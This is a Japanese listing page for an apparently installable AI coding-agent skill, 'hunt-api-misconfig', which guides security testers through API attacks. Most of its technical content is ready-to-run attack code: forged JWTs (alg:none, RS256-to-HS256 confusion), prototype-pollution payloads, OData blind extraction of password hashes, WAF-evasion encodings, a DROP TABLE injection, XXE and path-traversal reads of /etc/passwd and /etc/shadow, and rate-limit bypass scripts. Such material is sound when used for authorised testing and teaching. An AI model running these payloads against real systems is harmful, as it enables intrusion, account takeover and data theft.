mcpField
H
hunt-api-misconfig

hunt-api-misconfig

github.com/uphiagoセキュリティ1.3k41 回インストール8 週間前に更新
リポジトリ

hunt-api-misconfig について

Web APIを調査するセキュリティテスター向けの、API設定不備を見つけるスキルです。一般的な脆弱性、ODataやOpenAPIの露出、シャドーAPIの発見を扱い、検出方法とコマンド例を示します。

主な機能

  1. 01Mass Assignment、JWT、Prototype Pollution、CORSの確認
  2. 02ODataクエリとWAFの解析差異の調査
  3. 03Swagger、NSwag、OpenAPI仕様の露出検出
  4. 04シャドーAPI、バージョン、HTTPメソッドの列挙
  5. 05検出・脆弱性確認コマンドの提示

活用シーン

  1. 01APIの認可と入力処理設定の監査
  2. 02ODataエンドポイントとWAFルールのテスト
  3. 03公開API仕様と未文書化エンドポイントの発見

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-api-misconfig

インストール後、Claude Code で/hunt-api-misconfigを入力して読み込まれたか確認します。

詳細

12. API セキュリティ設定ミス

Mass Assignment
User.update(req.body)  // body has {"role": "admin"} → privilege escalation
JWT None Algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature
JWT RS256 → HS256 Algorithm Confusion
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Prototype Pollution
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
CORS Exploitation
# Test: reflected origin + credentials
curl --max-time 30 --connect-timeout 10 -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses

OData $filter / $select / $expand WAF ブラックリスト回避(2024-2026年の攻撃対象領域)

OData(Open Data Protocol)は、SharePoint、Microsoft Dynamics 365 / Power Platform、SAP NetWeaver Gateway / Fiori、および Microsoft.AspNetCore.OData を使用するあらゆる ASP.NET WebAPI プロジェクトの背後にあるクエリレイヤーです。SQL 風に見えるクエリ演算子(eq、ne、and、or、substringof、startswith、tolower、concat、replace)を公開しますが、これらは SQL ではありません。そのため、キーワードのブラックリストを使う WAF は、OData トラフィックを日常的に見逃します。

攻撃クラス 1 — startswith / substringof を利用したブール論理によるブラインド抽出
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')

プレフィックスを1文字ずつ繰り返し試します。レスポンスの件数(または @odata.count)が、プレフィックスが正しいことを確認するブール値のオラクルになります。SQLi エンジンは不要で、' / -- 文字も使いません。WAF に見えるのは正規の OData キーワードだけです。2023年12月、Microsoft Dynamics 365 / Power Apps Portals から パスワードハッシュ、氏名、メールアドレス、住所、財務データが抽出されました。Microsoft は2024年5月にパッチを適用しました。(Stratus Security の解説、The Hacker News による2025年1月の報道)

攻撃クラス 2 — $orderby / $select による列情報漏えいの回避
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname

$orderby は、ユーザーに $select の権限がない列名も受け付けますが、エンジンはその列でソートします。返される順序から、保護された列の情報が漏えいします。列レベルの ACL はプロジェクション($select)には適用されますが、$orderby / $filter には適用されません。同じ保護対象の列でも、コードパスが異なります。これは、同じ Dynamics 365 の情報漏えいに関する Stratus の2つ目の発見です。Stratus によると、「最初の発見よりも危険性が高く、データを直接返しました」。

攻撃クラス 3 — $batch の multipart/mixed による、サブ操作の検出を逃れる WAF シグネチャ
POST /odata/$batch  Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--

外側のリクエストボディだけをスキャンする WAF や、multipart/mixed をネイティブに解析しない WAF は、内部のすべての操作を見逃します。ModSecurity は過去に multipart/mixed を拒否していました(Issue #3296)。F5 がネイティブのバッチ解析を追加したのは Advanced WAF v16.1 になってからです(F5 SAP-Fiori のアドバイザリ)。2025年の WAFFLED 論文(arXiv 2503.10846)では、主要な5つの WAF にまたがる解析差異を利用した回避クラスへと、この手法を一般化しています。

攻撃クラス 4 — エンコード済み/非正規の演算子によるキーワードブラックリスト回避
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201   # URL-encoded $
GET /api?%2524filter=...                                # double-encoded
GET /Users(1)/$value                                    # path-segment style

大文字と小文字が混在する演算子(Eq、EQ)や、あまり知られていない演算子(substringof、tolower、concat、replace)は、SELECT / UNION とは異なるため、SQLi キーワードのシグネチャは一切発動しません。文字列 $filter を基準にする WAF は、どちらの形式も検出しませんが、OData サーバーは述語を評価する前に両方を正規化します。Kalra による Black Hat AD 2012 以降に報告されている、OData と WAF 間の典型的な不整合です。(OWASP Double Encoding)

攻撃クラス 5 — ライブラリがフィルターをそのまま渡す場合に、OData から実際の SQLi へ発展
$filter=Name eq 'x'); DROP TABLE Users--'

OData レイヤーが LINQ を使わず、SQL に文字列連結する場合にのみ発生します。OData/WebApi Issue #2352 で報告されています。XML のデシリアライゼーションを利用した亜種は CVE-2019-17554 です(Apache Olingo OData 4.0.0-4.6.0、application/xml ボディ内の <!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> を介した XXE、CVSS 7.5)。DoS の亜種は CVE-2018-8269 です(Microsoft.Data.OData の深い $filter 再帰によるスタックオーバーフロー)。

ボーナス — $expand ナビゲーションプロパティの IDOR
GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))

認可デコレーターはトップレベルのエンティティセットに適用されますが、エンジンは結合先のエンティティの ACL を再確認せずにナビゲーションプロパティをたどって結合します。2021 年に PowerApps Portals で発生した 3,800 万件のレコードの大量漏えいと同じ根本原因です(UpGuard による解説)。

検出ヒューリスティック
  • レスポンスヘッダー:OData-Version: 4.0 / DataServiceVersion: 3.0。URL パス:/_api/、/odata/、/_vti_bin/、/api/data/v9.x/、/sap/opu/odata/。
  • $metadata を試します → 匿名でアクセスできる場合、完全なスキーマ(エンティティセット、ナビゲーションプロパティ、関数インポート)を取得できます。
  • 各エンティティセットに対して $filter=1 eq 1、$top=1、$select=* を試し、続けて $orderby=<column-you-shouldnt-see> を指定して列レベルの ACL を確認します。
  • 同じペイロードを 3 通り($filter=、%24filter=、%2524filter=)で送信し、さらに $batch 経由でも送信します。WAF の挙動に差があれば、パーサーの不一致によるバグが確認できます。

NSwag / Swagger / OpenAPI 仕様の露出(2024-2026 の攻撃対象領域)

NSwag は ASP.NET Core 向けの Swagger/OpenAPI ツールチェーンです。既定のルート(/swagger、/swagger/v1/swagger.json、/swagger/index.html)は多くの .NET 6/7/8 プロジェクトで有効な状態で出荷されており、開発者が本番環境でも無効にせず残していることがあります。露出した仕様には、すべてのエンドポイント、HTTP メソッド、パラメーター名・型・形式・最大長、モデル、検証ルールが記載されています。JSON 形式の完全な攻撃マップです。

既定の検出パス(web2-recon との相互参照)
# NSwag / Swashbuckle (ASP.NET Core)
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json

# Generic OpenAPI
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json

# Java / Spring (Springfox / springdoc)
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources

# Python (FastAPI / Connexion)
/docs, /redoc, /openapi.json

# Quarkus
/q/openapi, /q/swagger-ui

# GraphQL adjacent
/graphql, /graphiql, /playground, /altair, /voyager

ツール:kiterunner は OpenAPI をネイティブに処理します。sj(Swagger Jacker)、apidetector、XSSwagger も利用できます。

攻撃チェーン

A. 仕様の開示 → IDOR / BOLA の大量発生。 仕様にはすべての GET /api/v1/users/{userId}/... が記載されています。jq '.paths | keys' swagger.json を実行し、Autorize または ffuf -mc 200 を使って {userId} を被害者の ID に置き換えます。よくあるケースでは、仕様に /api/admin/users/{id}/reset-password が記載されているものの、コントローラーに [Authorize(Roles="Admin")] がなく、権限の低いユーザーが ATO を実行できます。

B. 仕様の開示 → マスアサインメント用ペイロードの作成。 components.schemas.UserUpdateDto には、isAdmin、emailVerified、tenantId、role など、すべてのモデルフィールドが列挙されています。攻撃者はスキーマをそのまま PATCH /users/me にコピーし、特権フィールドを追加します。DTO が読み取り用モデルと書き込み用モデルに分かれていない場合、サーバーの [FromBody] バインダーはこれらを受け入れます。

C. 隠しエンドポイント。 仕様には、フロントエンド UI から参照されない /internal/*、/debug/*、/v0/*、/legacy/* のルートが記載されています。アクセス可能でありながら WAF ルールでカバーされておらず、認証レビューでも見落とされることがよくあります。

D. Swagger UI の configUrl 乗っ取り。 Swagger UI は ?configUrl= から設定を読み込みます。サニタイズされていない場合、攻撃者は悪意のある OpenAPI 仕様をホストし、正規の Swagger UI に ?configUrl=https://evil/spec.json を付けたリンクを被害者に送ります。仕様のルートは正規のオリジンを指すため、被害者が「Try It Out」をクリックすると、同一オリジンの認証済みリクエストが送信されます。(HackerOne #3124103 — 米国国防総省の Swagger UI インジェクション、2025 年 5 月)

開示事例
  • CVE-2018-25031 — URL パラメーターを介した Swagger UI ≤ 4.1.2 の仕様インジェクション。org.webjars:swagger-ui に広く影響します(Swashbuckle および NSwag のバンドルに組み込まれています)。
  • Swagger UI DOM XSS(3.14.1 → 3.38.0) — 古いバンドル版 DOMPurify とリモート仕様の読み込みにより、被害者のブラウザーで任意の JS が実行されます(Vidoc Security Lab の記事、PortSwigger Daily Swig)。PayPal、Atlassian、Microsoft、GitLab、Yahoo で実際に報告されています。
  • HackerOne #3124103 — 米国国防総省、Swagger UI インジェクション(2025 年 5 月)。
  • HackerOne #2534300 — Ionity GmbH、Swagger UI の HTML インジェクション。
  • HackerOne #1656650 — Swagger UI の url= パラメーターを介したリフレクテッド XSS。
  • CloudSEK 脅威インテリジェンス(2024 年) — 攻撃者は公開された swagger-ui を悪用し、認証済みビジネス向け WhatsApp のメッセージ送信エンドポイントを呼び出して、企業になりすまし、顧客を標的にします。執筆時点で Shodan には 6,000 件を超える公開 Swagger UI インスタンスがありました。(CloudSEK のレポート)
  • CVE-2023-38337 — rswag(Ruby Swagger ツールチェーン)のディレクトリトラバーサル。仕様エンドポイント自体も攻撃対象領域であることを示す事例です。
検出チェックリスト
  1. 上記のすべてのパスをサブドメイン全体にわたって httpx-probe し、Content-Type: application/json を伴う 200 で、本文に "swagger" または "openapi" が一致するものを検出します。
  2. 検出ごとに、jq '.paths | keys' swagger.json を実行し、結果を kiterunner / Autorize に渡します。
  3. jq '.components.schemas' swagger.json を実行し、一括代入フィールドの候補を特定します。
  4. Swagger UI の HTML に含まれるバージョン文字列を確認し、CVE-2018-25031 / DOM-XSS の表に照合します。
  5. Swagger UI が検出されたすべての対象で、?configUrl= と ?url= パラメーターの処理をテストします。

シャドー API の検出

シャドー API とは、文書化されていない、忘れられている、または廃止された API エンドポイントで、引き続きアクセス可能なものです。 多くの場合、認証、レート制限、セキュリティレビューがありません。

検出方法:

A. 一般的なシャドー API パス

# Probe commonly forgotten endpoints:
for path in \
  /api/swagger.json /api/v1/docs /api/v2/docs /api/v3/docs \
  /graphql /graphiql /playground /altair /voyager \
  /internal /internal/api /internal/health /internal/debug \
  /debug /debug/api /debug/health /debug/pprof \
  /api/health /api/status /api/ping /api/version \
  /api/v0 /api/legacy /api/old /api/beta /api/dev /api/test \
  /api/admin /api/internal /api/partner /api/vendor \
  /.env /.env.example /config.json /settings.json /configuration \
  /api/.env /api/config /api/settings \
  /actuator /actuator/health /actuator/info /actuator/env \
  /api-docs /api-docs.json /api-docs.yaml \
  /openapi.json /openapi.yaml; do
  code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://target.com$path")
  [[ "$code" != "404" && "$code" != "000" ]] && echo "$code $path"
done

B. バージョン列挙(バージョンギャップの検出)

# The current app uses /api/v2 — test v1, v3, v4, v0:
for v in v0 v1 v2 v3 v4 v5 beta dev staging; do
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} " "https://target.com/api/$v/users"
  echo "/api/$v/users"
done

C. 検出したエンドポイントでの HTTP メソッド列挙

# For each discovered path, test all HTTP methods:
curl --max-time 30 --connect-timeout 10 -X OPTIONS -s -D- "https://target.com/api/some-endpoint" 2>/dev/null | grep -i allow
# Also test: PATCH, PUT, POST, DELETE, CONNECT, TRACE, HEAD

D. シャドー API 検出としての GraphQL イントロスペクション

# Even if /graphql is known, its schema may reveal undocumented mutations/fields:
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { __schema { types { name fields { name } } } }"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print('\n'.join(t['name'] for t in d.get('data',{}).get('__schema',{}).get('types',[]) if not t['name'].startswith('__')))" \
  | grep -iE "admin|internal|debug|test|secret|token|key|migrate|backup|reset|bypass|override|dev|beta"
攻撃チェーン:
  • シャドー API + 認証なし = すべてのエンドポイントに認証なしでアクセス可能
  • シャドー API + 弱い認証 = 文書化されていないパラメーターを介した IDOR /権限昇格
  • シャドー API + デバッグモード = スタックトレース、ソースマップ、接続文字列
  • GraphQL のシャドーフィールド = ユーザーのパスワードをリセットする、または権限を昇格させるミューテーション

エイリアスを介したレート制限の回避

1 つのリクエストで N 個の論理操作を実行できるなら、レート制限に意味はありません。実証済みの回避方法は 3 つあります:

A. HTTP/2 ストリーム多重化
# Open single HTTP/2 connection, send N requests on N streams in one TCP write.
# Server's rate limiter counts per-TCP-connection, not per-stream — all N pass.
curl --max-time 30 --connect-timeout 10 --http2 -s --parallel --parallel-max 30 \
  -H "Cookie: session=xxx" \
  -w "%{http_code}\n" -o /dev/null \
  "https://target.com/api/endpoint?param={1..30}"
B. バッチ操作の悪用

多くの API は配列を受け付けるバッチ操作に対応しています:

# Instead of 1 item per request (rate-limited at 10/min), batch 100 items in 1 request:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/users/batch" \
  -H "Content-Type: application/json" \
  -d '{"users": [{"email": "[email protected]"}, {"email": "[email protected]"}, ...]}'
# If batch endpoint uses a separate rate limit or no limit → bypass
C. API キーのローテーション
# Register multiple API keys / accounts, rotate across them:
for key in "key1" "key2" "key3" "key4" "key5"; do
  curl --max-time 30 --connect-timeout 10 -s -H "X-API-Key: *** "https://target.com/api/resource"
done
# For JWT-based APIs, request multiple short-lived tokens from different sessions
D. X-Forwarded-For による IP ローテーション
# If rate limiter keys on client IP from X-Forwarded-For:
for ip in $(seq 1 50); do
  curl --max-time 30 --connect-timeout 10 -s -H "X-Forwarded-For: 10.0.0.$ip" "https://target.com/api/resource" &
done
wait
E. GraphQL エイリアスベースのバッチ処理(1 リクエストで N 個の操作)
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { '"$(for i in $(seq 1 100); do echo -n "a$i: user(id:$i) { email } "; done)"' }"}'
# 100 data-fetch operations in a single request bypasses per-request rate limits

API パラメーター汚染

重複、競合、または想定外のパラメーターを注入し、検証を回避したり動作を変更したりします。

A. HTTP パラメーター汚染(HPP)
# Duplicate params — server may accept first, last, or concatenate:
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id=1&id=2&id=3"
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id=1&id=2&role=user&role=admin"
# Test different separators:
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id=1&id=2"  # standard
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id[]=1&id[]=2"  # PHP array syntax
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users[?id=1,2]"  # Rails array
B. JSON パラメーター汚染
# Duplicate keys in JSON — server may use last value:
curl --max-time 30 --connect-timeout 10 -X PUT "https://target.com/api/user/profile" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","email":"[email protected]","role":"user","role":"admin"}'

# Nested parameter injection:
curl --max-time 30 --connect-timeout 10 -X PUT "https://target.com/api/user/profile" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","settings":{"role":"admin"},"role":"admin"}'
C. HTTP メソッドのオーバーライド
# Bypass method-level ACLs by overriding:
curl --max-time 30 --connect-timeout 10 -X GET "https://target.com/api/admin/users" \
  -H "X-HTTP-Method: DELETE" \
  -H "X-HTTP-Method-Override: DELETE" \
  -H "X-Method-Override: DELETE"

# POST with overridden method:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/admin/users" \
  -H "X-HTTP-Method-Override: DELETE"
D. Content-Type の混同
# Send JSON payload with URL-encoded Content-Type:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/user/update" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d '{"role":"admin","is_admin":true}'
# Some parsers accept JSON content from form-urlencoded type

# XML injection via alternative Content-Type:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/user/update" \
  -H "Content-Type: application/xml" \
  -d '<user><role>admin</role><is_admin>true</is_admin></user>'
E. パラメーター汚染を介したパストラバーサル
# API that constructs file paths from user parameters:
curl --max-time 30 --connect-timeout 10 "https://target.com/api/export?format=pdf&format=../../etc/passwd"
curl --max-time 30 --connect-timeout 10 "https://target.com/api/template?name=report&name=../../../etc/shadow"
検出スクリプト:
# Quick pollution probe across discovered endpoints:
for endpoint in /api/users /api/profile /api/admin /api/v2/users; do
  for pollute in \
    "?id=1&id=2" \
    "?role=user&role=admin" \
    "[email protected]&[email protected]"; do
    resp1=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://target.com$endpoint$pollute")
    resp2=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://target.com$endpoint$(echo $pollute | cut -d'&' -f1)")
    [[ "$resp1" != "$resp2" ]] && echo "POLLUTION SENSITIVE: $endpoint $pollute → $resp1 vs single → $resp2"
  done
done

検証

このセルフテストを実行し、API の設定ミスを調査する準備ができていることを確認します:

  1. 一括代入プローブ — 基本的なフィールド注入をテストします:

    curl --max-time 30 --connect-timeout 10 -s -X PATCH "https://httpbin.org/patch" -H "Content-Type: application/json" -d '{"role":"admin","is_admin":true}' | python3 -m json.tool 2>/dev/null | head -10 || echo "(httpbin may be down, syntax is correct)"
    
  2. JWT alg:none テスト — JWT 操作ツールを検証します:

    python3 -c "
    import base64,json
    header=base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
    payload=base64.urlsafe_b64encode(json.dumps({'sub':1,'role':'admin'}).encode()).rstrip(b'=').decode()
    token=f'{header}.{payload}.'
    print(f'Generated alg=none token ({len(token)} chars)')
    " && echo "PASS: Python3 JWT generation works" || echo "FAIL: Python3 unavailable"
    
  3. プロトタイプ汚染プローブ — JSON パーサーが proto を処理できることを検証します:

    python3 -c "
    import json
    payload='{"__proto__":{"isAdmin":true},"user":"test"}'
    d=json.loads(payload)
    print('PASS: __proto__ key parsed' if '__proto__' in d else 'FAIL')
    " 2>/dev/null || echo "FAIL"
    
  4. HTTP 動詞の改変 — OPTIONS によって許可されたメソッドが明らかになることを確認します:

    curl --max-time 30 --connect-timeout 10 -s -X OPTIONS "https://httpbin.org/post" -D - -o /dev/null 2>/dev/null | grep -i "allow:" && echo "PASS: OPTIONS probe works" || echo "(httpbin may be down)"
    

4 つのテストすべてで、API の設定ミスを調査するための中核的な機能を検証できます。


落とし穴

  • 副作用を伴わない一括代入 — {is_admin:true} を送信して 200 が返ってきても、そのフィールドが適用された証拠にはなりません。プロファイルを読み戻し、昇格した値が維持されていることを確認してください。
  • JWT の alg:none はテストサーバーでのみ有効 — 多くの本番 JWKS エンドポイントではアルゴリズム検証が強制されます。localhost ではなく、実際の本番トークンエンドポイントでテストしてください。
  • シンクのないプロトタイプ汚染 — __proto__ を汚染しても、ガジェット(RCE シンク、XSS シンク、または汚染された比較による認証バイパス)に到達できなければ何の証明にもなりません。汚染を、具体的に悪用可能な副作用に結び付けてください。
  • 読み取り専用エンドポイントでの HTTP メソッド改ざん — 読み取りエンドポイントで GET を使って CSRF を回避しても、悪用可能ではありません。GET を受け付ける、状態を変更するアクション(POST/PUT/DELETE)が必要です。
  • CORS の誤解 — 認証情報を伴わない Access-Control-Allow-Origin: * は、悪用可能ではありません。問題となるのは、オリジンの反映と認証情報の組み合わせだけです。
  • ヘッダーの別名を使ったレート制限の回避 — X-Forwarded-For: 127.0.0.1 でレート制限を回避できる場合がありますが、地域制限や IP ベースの認証も回避される可能性があります。両方の結果をテストしてください。
  • 別ポート/ベースパスにあるシャドー API — 本番 API の /api/v2/ には保護があっても、同じホスト上の /api/ にはない場合があります。必ずレガシーパスやバージョン指定のないパスを確認してください。
  • PDO のエミュレートされたプリペアドステートメントでのクラッシュ ≠ RCE — 不正なマルチバイト入力による 502 は、エミュレートされたプリペアドステートメントの使用を確認するものですが、悪用可能性までは示しません。完全なデシリアライズ/インジェクションの連鎖が必要です。

関連スキルと攻撃チェーン

フェーズ X — PDO のエミュレートされたプリペアドステートメントのリスク

PHP の PDO ドライバーモード PDO::ATTR_EMULATE_PREPARES => true は、ネイティブ DBMS のプリペアドステートメントではなく、クライアント側でクエリを書き換えるよう強制します。このモードは、場合によっては必要ですが(PgBouncer との互換性、レガシー DB ドライバーなど)、次のリスクがあります。

  1. 信頼できない入力が、NUL バイトで切り詰められる C レベルの文字列関数(strncat、strcpy)を通過する
  2. サーバー側のパラメーターバインドではなく、ドライバー側のエスケープ処理に依存するため、引用符処理のバグが1つあるだけで SQLi につながる
  3. 不正なマルチバイト入力で PHP プロセスがクラッシュする可能性がある(NULL ポインター参照、CVE-2025-14180)
# Detect emulated prepares: force an invalid multibyte sequence
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/checkout" \
  -H "Content-Type: application/json" \
  -d '{"product_id":101,"notes":"alice\x99"}'
# If server returns 502/connection-reset instead of 400 → likely emulated prepares crash

エミュレートされたプリペアドステートメントが有効な場合は、すべてのユーザー入力をバイナリセーフではない可能性があるものとして扱ってください。ドライバー内部で strncat() を使用している場合、PDO::quote() と PDO::prepare() の組み合わせであっても安全ではありません。

  • hunt-ato — サインアップ/プロフィールでの一括代入は、管理者権限を得る最短ルートです。攻撃チェーンの要素:API の一括代入 + hunt-ato → サインアップ時に role=admin を設定 → 初回ログイン時に特権ロールを利用して ATO を実行。
  • hunt-auth-bypass — JWT の欠陥は認証レイヤー全体を無効化します。攻撃チェーンの要素:JWT の alg=none + hunt-auth-bypass → 署名なしで sub に被害者の ID を設定し、任意のユーザーになりすます。
  • hunt-rce — Node.js の依存関係(lodash、mongoose、jQuery)にあるプロトタイプ汚染ガジェットから child_process.spawn に到達します。攻撃チェーンの要素:プロトタイプ汚染(__proto__.shell=true)+ hunt-rce(Node.js ガジェットチェーン)→ API ノードで RCE を実行。
  • hunt-subdomain — ワイルドカードサブドメインを許可する CORS 正規表現は、乗っ取り可能なホストを信頼します。攻撃チェーンの要素:CORS 許可リスト *.target.com + サブドメインの乗っ取り → 攻撃者が制御するオリジンから、認証情報を伴う API レスポンスを読み取る。
  • security-arsenal — JWT 攻撃ペイロードのセクション(alg=none、kid パストラバーサル、JWK インジェクション、埋め込み JWK)と、一括代入フィールドのワードリスト(is_admin、role、verified、permissions、org_id、tenant_id)を読み込んでください。
  • triage-validation — Server-Policy-vs-State ゲートを適用してください。CORS ヘッダーの許容的な設定だけなら参考情報にとどまります。報告する前に、機密データを実際に認証情報付きでクロスオリジン読み取りできることを実証してください。

コメント